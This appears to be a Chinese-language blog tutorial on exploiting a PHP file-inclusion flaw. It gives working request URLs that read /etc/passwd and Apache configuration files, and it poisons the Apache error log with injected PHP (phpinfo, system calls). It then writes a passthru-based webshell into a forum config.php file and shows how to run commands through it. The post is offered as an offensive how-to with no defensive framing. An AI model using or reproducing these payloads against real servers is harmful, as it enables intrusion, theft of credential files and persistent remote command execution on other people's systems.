比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句
<? include($zizzy); ?>
你可以
http://xxx.com/z.php?zizzy=/etc/inetd.conf
http://xxx.com/z.php?zizzy=/proc/cpuinfo
http://xxx.com/z.php?zizzy=/etc/passwd
就可以利用包含语句来查看一些系统环境和密码档。
那么关于日志包含下面我们来看:
比如我们的Apache的服务器配置文件位置在这里
/usr/local/apache/conf/httpd.conf
那么我们来包含一下httpd.conf,来看下路径信息什么的
http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf
读出Apache的配置信息
<VirtualHost 218.63.89.2>
User #3
Group silver
ServerAdmin webmaster@xxx.com
DocumentRoot /home/virtual/www.xxx.com
ServerName www.xxx.com
ServerAlias xxx.com
ErrorLog /home/virtual/www.xxx.com/logs/www-error_log
CustomLog /home/virtual/www.xxx.com/logs/www-access_log common
ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/
Alias /icons/ /home/virtual/www.xxx.com/icons
</VirtualHost>
而我们提交http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
就可以读出Apache的错误日志记录
[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not
exist: /home/virtual/www.xxx.com/hack.php
[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not
exist: /home/virtual/www.xxx.com/111111111.php
[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not
exist: /home/virtual/www.xxx.com/22222.php3
[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/forum
[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/blog
[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/kkkkkkkk
而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。
比如我们提交
http://www.xxx.com/<?phpinfo();?>
这样肯定会出错,而出错就被记在日志里了
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样这个日志文件就被包含成了phpinfo的信息
可以的话这样子也不错,<?system("ls+-la+/home");?>
发散思维:
下面想的再深入一点就是我在想如何写入一个webshell来利用。
当然前提是权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。
比如这句php语句
<?=str_replace("?","!",passthru($cmd));?>
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?=str_replace("?","!",passthru($cmd));?>这个执行命令的语句。连起来就是
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?=str_replace("?","!",passthru($cmd));?>");fclose($fp);?>
我们提交这句,再让Apache记录到日志里
http://xxx.com/z.php?zizzy=<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?=str_replace(\"?\",\"!\",passthru(\$cmd));?>");fclose($fp);?>
语句里加了些斜杆也是为了magic_quotes_gpc考虑,这样就在config.php里写入了一个php木马语句。
再来提交
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样webshell就写入成功了。
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
你可以http://www.xxx.com/forum/config.php?cmd=ls来使用了
0
顶一下0
埋一下引用地址:



